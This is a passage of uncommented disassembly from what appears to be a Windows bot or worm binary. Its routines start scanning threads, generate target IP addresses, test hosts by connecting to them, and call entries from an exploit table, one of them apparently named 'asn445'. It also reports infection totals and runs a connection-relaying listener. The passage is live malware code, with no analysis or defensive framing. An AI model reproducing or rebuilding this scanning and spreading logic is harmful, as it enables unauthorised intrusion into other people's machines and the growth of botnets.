[ebp+var_2C] push eax push ebx push 13h push offset dword_42651C push edi call ds:dword_4364CC ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_4264E8 push eax call sub_415480 lea eax, [ebp+var_D8] push eax call sub_40A5B3 add esp, 14h jmp loc_4056FE ; --------------------------------------------------------------------------- loc_405634: ; CODE XREF: sub_40525F+275j cmp [ebp+var_D7], 4 jnz loc_4056E8 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_405671 inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_40567F ; --------------------------------------------------------------------------- loc_405671: ; CODE XREF: sub_40525F+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_40567F: ; CODE XREF: sub_40525F+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_416E2E push [ebp+var_8] lea eax, [ebp+var_57C] push esi push 1 push eax call sub_416BA7 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call ds:dword_4364CC ; sendto cmp edi, ebx jnz short loc_4056FE lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_426494 jmp loc_4055A2 ; --------------------------------------------------------------------------- loc_4056E8: ; CODE XREF: sub_40525F+268j ; sub_40525F+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_426488 push edi call ds:dword_4364CC ; sendto loc_4056FE: ; CODE XREF: sub_40525F+204j ; sub_40525F+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_40540A loc_40570A: ; CODE XREF: sub_40525F+1B4j push edi call ds:dword_436500 ; closesocket push [ebp+var_8] call sub_415AD0 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40573E push [ebp+var_170] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_40573E: ; CODE XREF: sub_40525F+4CAj push 3E8h call ds:dword_422054 ; Sleep push esi loc_40574A: ; CODE XREF: sub_40525F+123j call sub_40525F pop edi pop esi pop ebx leave retn 4 sub_40525F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405756 proc near ; CODE XREF: sub_40D2E0+5D3Fp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_42684C push eax xor ebx, ebx call sub_415480 cmp ds:dword_426620, ebx pop ecx pop ecx mov edi, 200h jz short loc_4057C4 push esi mov esi, offset dword_426628 loc_405789: ; CODE XREF: sub_405756+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_415480 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F00 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_405789 pop esi loc_4057C4: ; CODE XREF: sub_405756+2Bj push ds:dword_4C8CC0 call sub_409D67 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_415480 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F00 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 lea eax, [ebp+var_200] push eax call sub_40A5B3 add esp, 34h pop edi pop ebx leave retn sub_405756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405821 proc near ; CODE XREF: sub_40D2E0+56B3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_415174 test eax, eax pop ecx jle short loc_40585D mov eax, [ebp+arg_C] push ds:dword_4325E8[eax*8] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_4268B0 push eax call sub_415480 add esp, 0Ch jmp short loc_405870 ; --------------------------------------------------------------------------- loc_40585D: ; CODE XREF: sub_405821+13j lea eax, [ebp+var_200] push offset unk_426880 push eax call sub_415480 pop ecx pop ecx loc_405870: ; CODE XREF: sub_405821+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 lea eax, [ebp+var_200] push eax call sub_40A5B3 add esp, 18h leave retn sub_405821 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405898 proc near ; CODE XREF: sub_405FC5+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_405C28 imul eax, 3Ch xor ebx, ebx cmp ds:dword_42662C[eax], ebx jz loc_405B09 push 4 call sub_415174 test eax, eax pop ecx jnz loc_405C28 mov eax, ds:dword_42ACC4 push edi mov edi, offset dword_434604 push 104h push edi push ebx mov ds:dword_434814, eax mov ds:dword_434810, ebx call ds:off_422060 push 103h mov esi, offset dword_434708 push offset byte_42AD8C push esi call sub_416D30 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_434600, eax mov eax, [ebp+arg_138] push 7Fh mov ds:dword_434898, eax jnz short loc_40594B lea eax, [ebp+arg_10] push eax push offset dword_434818 call sub_416D30 add esp, 0Ch mov ds:dword_43489C, 1 jmp short loc_405965 ; --------------------------------------------------------------------------- loc_40594B: ; CODE XREF: sub_405898+94j lea eax, [ebp+arg_90] push eax push offset dword_434818 call sub_416D30 add esp, 0Ch mov ds:dword_43489C, ebx loc_405965: ; CODE XREF: sub_405898+B1j push esi push edi push ds:dword_434814 lea eax, [ebp+var_204] push offset unk_426A40 push eax call sub_415480 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_414F2C add esp, 20h mov ds:dword_43480C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_434600 push offset sub_40525F push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, ds:dword_43480C imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_4059D4 loc_4059C2: ; CODE XREF: sub_405898+13Aj cmp ds:dword_4348A0, ebx jnz short loc_4059EF push 32h call ds:dword_422054 ; Sleep jmp short loc_4059C2 ; --------------------------------------------------------------------------- loc_4059D4: ; CODE XREF: sub_405898+128j call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_426A00 push eax call sub_415480 add esp, 0Ch loc_4059EF: ; CODE XREF: sub_405898+130j lea eax, [ebp+var_204] push eax call sub_40A5B3 mov edi, offset dword_434C5C mov [esp+210h+var_210], 104h push edi push ebx mov ds:dword_434E68, ebx call ds:off_422060 push 103h mov esi, offset dword_434D60 push offset byte_42AD8C push esi call sub_416D30 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_434C58, eax mov eax, [ebp+arg_138] push 7Fh mov ds:dword_434EF0, eax jnz short loc_405A6A lea eax, [ebp+arg_10] push eax push offset dword_434E70 call sub_416D30 add esp, 0Ch mov ds:dword_434EF4, 1 jmp short loc_405A84 ; --------------------------------------------------------------------------- loc_405A6A: ; CODE XREF: sub_405898+1B3j lea eax, [ebp+arg_90] push eax push offset dword_434E70 call sub_416D30 add esp, 0Ch mov ds:dword_434EF4, ebx loc_405A84: ; CODE XREF: sub_405898+1D0j push esi push edi push ds:dword_434E6C lea eax, [ebp+var_204] push offset dword_4269B0 push eax call sub_415480 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_414F2C add esp, 20h mov ds:dword_434E64, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_434C58 push offset sub_403A1B push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, ds:dword_434E64 pop edi imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_405AF8 loc_405AE2: ; CODE XREF: sub_405898+25Ej cmp ds:dword_434EF8, ebx jnz loc_405C1B push 32h call ds:dword_422054 ; Sleep jmp short loc_405AE2 ; --------------------------------------------------------------------------- loc_405AF8: ; CODE XREF: sub_405898+248j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_426970 jmp loc_405C0C ; --------------------------------------------------------------------------- loc_405B09: ; CODE XREF: sub_405898+25j cmp ds:dword_426630[eax], ebx jz loc_405C28 push 3 call sub_415174 test eax, eax pop ecx jnz loc_405C28 mov esi, offset dword_434B34 push 104h push esi push ebx call ds:off_422060 push 5Ch push esi call sub_417030 pop ecx cmp eax, ebx pop ecx jz short loc_405B47 mov [eax], bl loc_405B47: ; CODE XREF: sub_405898+2ABj mov eax, ds:dword_42ACC8 mov ds:dword_434C4C, ebx mov ds:dword_434C38, eax lea eax, [ebp+arg_10] push eax push offset dword_4348AC call sub_415480 mov eax, [ebp+arg_110] pop ecx pop ecx mov ds:dword_4348A8, eax mov ecx, [ebp+arg_138] push esi push ds:dword_434C38 mov ds:dword_434C44, ecx mov ecx, [ebp+arg_13C] push eax mov ds:dword_434C48, ecx call sub_409526 pop ecx push eax lea eax, [ebp+var_204] push offset unk_426924 push eax call sub_415480 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_414F2C add esp, 20h mov ds:dword_434C40, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4348A8 push offset sub_404138 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, ds:dword_434C40 imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_405C00 loc_405BEE: ; CODE XREF: sub_405898+366j cmp ds:dword_434C54, ebx jnz short loc_405C1B push 32h call ds:dword_422054 ; Sleep jmp short loc_405BEE ; --------------------------------------------------------------------------- loc_405C00: ; CODE XREF: sub_405898+354j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_4268E0 loc_405C0C: ; CODE XREF: sub_405898+26Cj lea eax, [ebp+var_204] push eax call sub_415480 add esp, 0Ch loc_405C1B: ; CODE XREF: sub_405898+250j ; sub_405898+35Cj lea eax, [ebp+var_204] push eax call sub_40A5B3 pop ecx loc_405C28: ; CODE XREF: sub_405898+14j ; sub_405898+35j ... pop esi pop ebx leave retn sub_405898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C2C proc near ; CODE XREF: sub_405DAD:loc_405E1Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4325E8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_415560 add esp, 0Ch push [ebp+arg_0] call ds:dword_43639C ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_436464 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_415560 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_405C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C74 proc near ; CODE XREF: sub_405DAD+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_415C80 cmp eax, 0Fh pop ecx jbe short loc_405C9C xor eax, eax jmp short loc_405D0D ; --------------------------------------------------------------------------- loc_405C9C: ; CODE XREF: sub_405C74+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416A97 add esp, 18h cmp [ebp+var_C], esi jnz short loc_405CC9 call sub_4154DC mov [ebp+var_C], eax loc_405CC9: ; CODE XREF: sub_405C74+4Bj cmp [ebp+var_8], esi jnz short loc_405CD6 call sub_4154DC mov [ebp+var_8], eax loc_405CD6: ; CODE XREF: sub_405C74+58j cmp [ebp+var_4], esi jnz short loc_405CE3 call sub_4154DC mov [ebp+var_4], eax loc_405CE3: ; CODE XREF: sub_405C74+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_405CEF call sub_4154DC loc_405CEF: ; CODE XREF: sub_405C74+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_4325E8[ecx*8], eax loc_405D0D: ; CODE XREF: sub_405C74+26j pop esi leave retn sub_405C74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D10 proc near ; CODE XREF: sub_405DAD+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_4364E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405D39 xor eax, eax jmp short loc_405DA8 ; --------------------------------------------------------------------------- loc_405D39: ; CODE XREF: sub_405D10+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_436468 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_436504 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_436410 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_436450 ; select push esi mov edi, eax call ds:dword_436500 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_405DA8: ; CODE XREF: sub_405D10+27j pop edi pop esi pop ebx leave retn sub_405D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DAD proc near ; DATA XREF: sub_405FC5+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 mov ebx, esi pop ecx imul ebx, 234h loc_405DF4: ; CODE XREF: sub_405DAD+204j mov eax, ds:dword_43BEC4[ebx] cmp ds:dword_4325EC[eax*8], 0 jz loc_405FB6 cmp [ebp+var_10], 0 push eax jz short loc_405E1E lea eax, [ebp+var_150] push eax call sub_405C74 pop ecx jmp short loc_405E23 ; --------------------------------------------------------------------------- loc_405E1E: ; CODE XREF: sub_405DAD+60j call sub_405C2C loc_405E23: ; CODE XREF: sub_405DAD+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_43BEC4[ebx] push [ebp+var_3C] push edi call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_426AD4 push eax call sub_415480 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43BCC0[ebx] push eax call sub_415480 push [ebp+var_38] push [ebp+var_3C] push edi call sub_405D10 add esp, 14h cmp eax, 1 jnz loc_405FA6 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_405EFA push offset dword_4345E8 call ds:dword_4220A4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_426A9C push eax call sub_415480 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_405EDC cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_405ED0 lea eax, [ebp+var_140] loc_405ED0: ; CODE XREF: sub_405DAD+11Bj push eax push [ebp+var_40] call sub_40BAE7 add esp, 14h loc_405EDC: ; CODE XREF: sub_405DAD+100j lea eax, [ebp+var_28C] push eax call sub_40A5B3 mov [esp+2A8h+var_2A8], offset dword_4345E8 call ds:dword_4220A0 ; RtlLeaveCriticalSection jmp loc_405FA6 ; --------------------------------------------------------------------------- loc_405EFA: ; CODE XREF: sub_405DAD+D0j push edi call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_415480 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aAsn445 ; "asn445" push eax lea eax, [ebp+var_178] push eax call sub_415480 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_405F3F lea eax, [ebp+var_140] loc_405F3F: ; CODE XREF: sub_405DAD+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_415480 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call ds:off_426624[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_405FA6: ; CODE XREF: sub_405DAD+C6j ; sub_405DAD+148j push 7D0h call ds:dword_422054 ; Sleep jmp loc_405DF4 ; --------------------------------------------------------------------------- loc_405FB6: ; CODE XREF: sub_405DAD+55j push esi call sub_415248 pop ecx push 0 call ds:dword_422044 ; ExitThread sub_405DAD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FC5 proc near ; DATA XREF: sub_40D2E0+3300o ; sub_40D2E0+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_4364A8 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_4325E8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_405898 push 8 call sub_415174 add esp, 150h cmp eax, ebx jnz short loc_406093 mov esi, offset dword_4345E8 push esi call ds:dword_4220AC ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4220A8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_406093 lea eax, [ebp+var_1CC] push offset unk_426C08 push eax call sub_415480 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40607D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40BAE7 add esp, 14h loc_40607D: ; CODE XREF: sub_405FC5+99j lea eax, [ebp+var_1CC] push eax call sub_40A5B3 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_406093: ; CODE XREF: sub_405FC5+63j ; sub_405FC5+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_422054 mov edi, ebx mov ds:dword_4325EC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_406160 loc_4060B1: ; CODE XREF: sub_405FC5+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_426BC0 push eax call sub_415480 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_414F2C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_43BEC4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_405DAD push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_40612B loc_406120: ; CODE XREF: sub_405FC5+164j cmp [ebp+var_4], ebx jnz short loc_406152 push 1Eh call esi ; Sleep jmp short loc_406120 ; --------------------------------------------------------------------------- loc_40612B: ; CODE XREF: sub_405FC5+159j call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_426B74 push eax call sub_415480 lea eax, [ebp+var_1CC] push eax call sub_40A5B3 add esp, 10h loc_406152: ; CODE XREF: sub_405FC5+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_4060B1 loc_406160: ; CODE XREF: sub_405FC5+E6j cmp [ebp+var_30], ebx jz loc_40620A mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_406175: ; CODE XREF: sub_405FC5+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_4325E8[eax*8] push eax call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_426B20 push eax call sub_415480 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_4061C3 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40BAE7 add esp, 14h loc_4061C3: ; CODE XREF: sub_405FC5+1DFj lea eax, [ebp+var_1CC] push eax call sub_40A5B3 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov ds:dword_4325EC[eax*8], ebx call esi ; Sleep push 8 call sub_415174 cmp eax, 1 pop ecx jnz short loc_4061FA push offset dword_4345E8 call ds:dword_4220AC ; RtlDeleteCriticalSection loc_4061FA: ; CODE XREF: sub_405FC5+228j push [ebp+var_2C] call sub_415248 pop ecx push ebx call ds:dword_422044 ; ExitThread loc_40620A: ; CODE XREF: sub_405FC5+19Ej ; sub_405FC5+25Dj mov eax, [ebp+var_2C] cmp ds:dword_4325EC[eax*8], 1 jnz loc_406175 push 7D0h call esi ; Sleep jmp short loc_40620A sub_405FC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406224 proc near ; DATA XREF: sub_40D2E0+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_415500 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call ds:dword_436468 ; htons push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call ds:dword_4364E8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406388 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov ds:dword_43BECC[eax], ebx call ds:dword_436384 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_436494 ; bind test eax, eax jnz loc_406388 push 0Ah push ebx call ds:dword_436490 ; listen test eax, eax jnz loc_406388 loc_4062CE: ; CODE XREF: sub_406224+BEj ; sub_406224+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call ds:dword_4364FC ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4062CE movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_426C9C push eax call sub_415480 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_414F2C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_43BEC4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_4063AC push esi push esi call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_43BED4[ecx], eax jz short loc_406373 loc_406360: ; CODE XREF: sub_406224+14Dj cmp [ebp+var_2C], esi jnz loc_4062CE push 32h call ds:dword_422054 ; Sleep jmp short loc_406360 ; --------------------------------------------------------------------------- loc_406373: ; CODE XREF: sub_406224+13Aj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_426C50 call sub_40A627 pop ecx pop ecx jmp short loc_40638B ; --------------------------------------------------------------------------- loc_406388: ; CODE XREF: sub_406224+61j ; sub_406224+93j ... mov edi, [ebp+arg_0] loc_40638B: ; CODE XREF: sub_406224+162j push edi call ds:dword_436500 ; closesocket push ebx call ds:dword_436500 ; closesocket push [ebp+var_3C] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi pop ebx sub_406224 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063AC proc near ; DATA XREF: sub_406224+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_415D00 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_4364E8 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_406562 push 10h lea eax, [ebp+var_18] push edi push eax call sub_415500 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call ds:dword_436468 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40643C lea eax, [ebp+var_13C] push eax call ds:dword_4364EC ; gethostbyname jmp short loc_40644A ; --------------------------------------------------------------------------- loc_40643C: ; CODE XREF: sub_4063AC+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_436420 ; gethostbyaddr loc_40644A: ; CODE XREF: sub_4063AC+8Ej cmp eax, edi jz loc_406562 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call ds:dword_436410 ; connect cmp eax, 0FFFFFFFFh jz loc_406562 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_426D44 push eax call sub_415480 push esi lea eax, [ebp+var_344] push 10h push eax call sub_414F2C imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43BECC[ebx] mov ds:dword_43BEC4[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_43BED0[eax], ecx lea eax, [ebp+var_1C] 